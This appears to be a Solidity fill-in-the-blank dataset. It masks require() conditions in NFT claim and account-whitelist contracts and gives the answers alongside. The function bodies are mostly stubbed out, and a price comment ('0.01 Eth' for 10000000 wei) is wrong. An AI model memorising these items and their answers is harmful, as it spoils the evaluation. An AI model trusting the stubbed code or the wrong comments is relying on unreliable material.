}
function claim(uint256 captainId, uint256 tokenId_0, bytes32 secret_0, uint256 tokenId_1, bytes32 secret_1) public {
require(<FILL_ME>)
require(mainContract.ownerOf(tokenId_0) == _msgSender(), "no owner of tokenId_0");
require(mainContract.ownerOf(tokenId_1) == _msgSender(), "no owner of tokenId_1");
require(isValidSecret(uint248(captainId), 0, tokenId_0, secret_0), "tokenId is not member of group 0 for captainId");
require(isValidSecret(uint248(captainId), 1, tokenId_1, secret_1), "tokenId is not member of group 1 for captainId");
// Mark the captain as claimed to avoid reentracies
claimedCaptains[captainId] = true;
// Starts captain transfer to claimer
mainContract.safeTransferFrom(address(this), _msgSender(), captainId);
}
// This function is to be able to receive ERC721 tokens
function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
}
}
| !claimedCaptains[captainId],"captain already claimed" | 418,457 | !claimedCaptains[captainId] |
"no owner of tokenId_0" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
contract WantedCaptains is Context, Ownable, IERC721Receiver {
IERC721 mainContract;
mapping(uint256 => bytes32[]) private captainHashes;
mapping(uint256 => mapping(bytes32 => bool)) private captainValidHashes;
mapping(uint256 => bool) public claimedCaptains;
constructor() {
}
function setMainContract(address mainContractAddress) public onlyOwner {
}
function addCaptainHash(uint248 captainId, uint8 groupId, bytes32 hash) private {
}
function getCaptainHashes(uint248 captainId, uint8 groupId) public view returns (bytes32[] memory) {
}
function isValidSecret(uint248 captainId, uint8 groupId, uint256 tokenId, bytes32 secret) public view returns (bool) {
}
function claim(uint256 captainId, uint256 tokenId_0, bytes32 secret_0, uint256 tokenId_1, bytes32 secret_1) public {
require(!claimedCaptains[captainId], "captain already claimed");
require(<FILL_ME>)
require(mainContract.ownerOf(tokenId_1) == _msgSender(), "no owner of tokenId_1");
require(isValidSecret(uint248(captainId), 0, tokenId_0, secret_0), "tokenId is not member of group 0 for captainId");
require(isValidSecret(uint248(captainId), 1, tokenId_1, secret_1), "tokenId is not member of group 1 for captainId");
// Mark the captain as claimed to avoid reentracies
claimedCaptains[captainId] = true;
// Starts captain transfer to claimer
mainContract.safeTransferFrom(address(this), _msgSender(), captainId);
}
// This function is to be able to receive ERC721 tokens
function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
}
}
| mainContract.ownerOf(tokenId_0)==_msgSender(),"no owner of tokenId_0" | 418,457 | mainContract.ownerOf(tokenId_0)==_msgSender() |
"no owner of tokenId_1" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
contract WantedCaptains is Context, Ownable, IERC721Receiver {
IERC721 mainContract;
mapping(uint256 => bytes32[]) private captainHashes;
mapping(uint256 => mapping(bytes32 => bool)) private captainValidHashes;
mapping(uint256 => bool) public claimedCaptains;
constructor() {
}
function setMainContract(address mainContractAddress) public onlyOwner {
}
function addCaptainHash(uint248 captainId, uint8 groupId, bytes32 hash) private {
}
function getCaptainHashes(uint248 captainId, uint8 groupId) public view returns (bytes32[] memory) {
}
function isValidSecret(uint248 captainId, uint8 groupId, uint256 tokenId, bytes32 secret) public view returns (bool) {
}
function claim(uint256 captainId, uint256 tokenId_0, bytes32 secret_0, uint256 tokenId_1, bytes32 secret_1) public {
require(!claimedCaptains[captainId], "captain already claimed");
require(mainContract.ownerOf(tokenId_0) == _msgSender(), "no owner of tokenId_0");
require(<FILL_ME>)
require(isValidSecret(uint248(captainId), 0, tokenId_0, secret_0), "tokenId is not member of group 0 for captainId");
require(isValidSecret(uint248(captainId), 1, tokenId_1, secret_1), "tokenId is not member of group 1 for captainId");
// Mark the captain as claimed to avoid reentracies
claimedCaptains[captainId] = true;
// Starts captain transfer to claimer
mainContract.safeTransferFrom(address(this), _msgSender(), captainId);
}
// This function is to be able to receive ERC721 tokens
function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
}
}
| mainContract.ownerOf(tokenId_1)==_msgSender(),"no owner of tokenId_1" | 418,457 | mainContract.ownerOf(tokenId_1)==_msgSender() |
"tokenId is not member of group 0 for captainId" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
contract WantedCaptains is Context, Ownable, IERC721Receiver {
IERC721 mainContract;
mapping(uint256 => bytes32[]) private captainHashes;
mapping(uint256 => mapping(bytes32 => bool)) private captainValidHashes;
mapping(uint256 => bool) public claimedCaptains;
constructor() {
}
function setMainContract(address mainContractAddress) public onlyOwner {
}
function addCaptainHash(uint248 captainId, uint8 groupId, bytes32 hash) private {
}
function getCaptainHashes(uint248 captainId, uint8 groupId) public view returns (bytes32[] memory) {
}
function isValidSecret(uint248 captainId, uint8 groupId, uint256 tokenId, bytes32 secret) public view returns (bool) {
}
function claim(uint256 captainId, uint256 tokenId_0, bytes32 secret_0, uint256 tokenId_1, bytes32 secret_1) public {
require(!claimedCaptains[captainId], "captain already claimed");
require(mainContract.ownerOf(tokenId_0) == _msgSender(), "no owner of tokenId_0");
require(mainContract.ownerOf(tokenId_1) == _msgSender(), "no owner of tokenId_1");
require(<FILL_ME>)
require(isValidSecret(uint248(captainId), 1, tokenId_1, secret_1), "tokenId is not member of group 1 for captainId");
// Mark the captain as claimed to avoid reentracies
claimedCaptains[captainId] = true;
// Starts captain transfer to claimer
mainContract.safeTransferFrom(address(this), _msgSender(), captainId);
}
// This function is to be able to receive ERC721 tokens
function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
}
}
| isValidSecret(uint248(captainId),0,tokenId_0,secret_0),"tokenId is not member of group 0 for captainId" | 418,457 | isValidSecret(uint248(captainId),0,tokenId_0,secret_0) |
"tokenId is not member of group 1 for captainId" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
contract WantedCaptains is Context, Ownable, IERC721Receiver {
IERC721 mainContract;
mapping(uint256 => bytes32[]) private captainHashes;
mapping(uint256 => mapping(bytes32 => bool)) private captainValidHashes;
mapping(uint256 => bool) public claimedCaptains;
constructor() {
}
function setMainContract(address mainContractAddress) public onlyOwner {
}
function addCaptainHash(uint248 captainId, uint8 groupId, bytes32 hash) private {
}
function getCaptainHashes(uint248 captainId, uint8 groupId) public view returns (bytes32[] memory) {
}
function isValidSecret(uint248 captainId, uint8 groupId, uint256 tokenId, bytes32 secret) public view returns (bool) {
}
function claim(uint256 captainId, uint256 tokenId_0, bytes32 secret_0, uint256 tokenId_1, bytes32 secret_1) public {
require(!claimedCaptains[captainId], "captain already claimed");
require(mainContract.ownerOf(tokenId_0) == _msgSender(), "no owner of tokenId_0");
require(mainContract.ownerOf(tokenId_1) == _msgSender(), "no owner of tokenId_1");
require(isValidSecret(uint248(captainId), 0, tokenId_0, secret_0), "tokenId is not member of group 0 for captainId");
require(<FILL_ME>)
// Mark the captain as claimed to avoid reentracies
claimedCaptains[captainId] = true;
// Starts captain transfer to claimer
mainContract.safeTransferFrom(address(this), _msgSender(), captainId);
}
// This function is to be able to receive ERC721 tokens
function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
}
}
| isValidSecret(uint248(captainId),1,tokenId_1,secret_1),"tokenId is not member of group 1 for captainId" | 418,457 | isValidSecret(uint248(captainId),1,tokenId_1,secret_1) |
"AW: account already included" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.16;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import {SimpleInitializable} from "../misc/SimpleInitializable.sol";
contract AccountWhitelist is Ownable, SimpleInitializable {
using EnumerableSet for EnumerableSet.AddressSet;
event AccountAdded(address account);
event AccountRemoved(address account);
EnumerableSet.AddressSet private _accounts;
constructor() {
}
function getWhitelistedAccounts() external view returns (address[] memory) {
}
function isAccountWhitelisted(address account_) external view returns (bool) {
}
function addAccountToWhitelist(address account_) external whenInitialized onlyOwner {
require(<FILL_ME>)
emit AccountAdded(account_);
}
function removeAccountFromWhitelist(address account_) external whenInitialized onlyOwner {
}
function _initialize() internal override {
}
}
| _accounts.add(account_),"AW: account already included" | 418,741 | _accounts.add(account_) |
"AW: account already excluded" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.16;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import {SimpleInitializable} from "../misc/SimpleInitializable.sol";
contract AccountWhitelist is Ownable, SimpleInitializable {
using EnumerableSet for EnumerableSet.AddressSet;
event AccountAdded(address account);
event AccountRemoved(address account);
EnumerableSet.AddressSet private _accounts;
constructor() {
}
function getWhitelistedAccounts() external view returns (address[] memory) {
}
function isAccountWhitelisted(address account_) external view returns (bool) {
}
function addAccountToWhitelist(address account_) external whenInitialized onlyOwner {
}
function removeAccountFromWhitelist(address account_) external whenInitialized onlyOwner {
require(<FILL_ME>)
emit AccountRemoved(account_);
}
function _initialize() internal override {
}
}
| _accounts.remove(account_),"AW: account already excluded" | 418,741 | _accounts.remove(account_) |
"Exceeds maximum token supply." | //__/\\\\\\\\\\\\\\\_________________________________________________________________________________/\\\\\\\\\______/\\\\\\\\\\\\____
// _\/\\\///////////________________________________________________________________________________/\\\///////\\\___\/\\\////////\\\__
//___\/\\\_____________________________/\\\\\\\\___/\\\_____________________________________________\/\\\_____\/\\\___\/\\\______\//\\\_
//____\/\\\\\\\\\\\______/\\/\\\\\\____/\\\////\\\_\///___/\\/\\\\\\_______/\\\\\\\\______/\\\\\\\\__\/\\\\\\\\\\\/____\/\\\_______\/\\\_
//_____\/\\\///////______\/\\\////\\\__\//\\\\\\\\\__/\\\_\/\\\////\\\____/\\\/////\\\___/\\\/////\\\_\/\\\//////\\\____\/\\\_______\/\\\_
//______\/\\\_____________\/\\\__\//\\\__\///////\\\_\/\\\_\/\\\__\//\\\__/\\\\\\\\\\\___/\\\\\\\\\\\__\/\\\____\//\\\___\/\\\_______\/\\\_
//_______\/\\\_____________\/\\\___\/\\\__/\\_____\\\_\/\\\_\/\\\___\/\\\_\//\\///////___\//\\///////___\/\\\_____\//\\\__\/\\\_______/\\\__
//________\/\\\\\\\\\\\\\\\_\/\\\___\/\\\_\//\\\\\\\\__\/\\\_\/\\\___\/\\\__\//\\\\\\\\\\__\//\\\\\\\\\\_\/\\\______\//\\\_\/\\\\\\\\\\\\/___
//_________\///////////////__\///____\///___\////////___\///__\///____\///____\//////////____\//////////__\///________\///__\////////////_____
//______________________________________________________________________________________________________________________parker@engineerd.io____
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
contract nft is ERC721Enumerable, Ownable {
uint256 public MAX_SUPPLY = 3333;
uint256 public PRICE = 10000000; // 0.01 Eth
uint256 public TRIPLE_PRICE = 8500000; // 0.0085 ETH
uint256 public MAX_MINT = 10;
bool public saleIsActive = true;
string private baseURI;
constructor(string memory _name, string memory _symbol)
ERC721(_name, _symbol)
ERC721Enumerable()
{}
function setBaseURI(string memory uri) external onlyOwner {
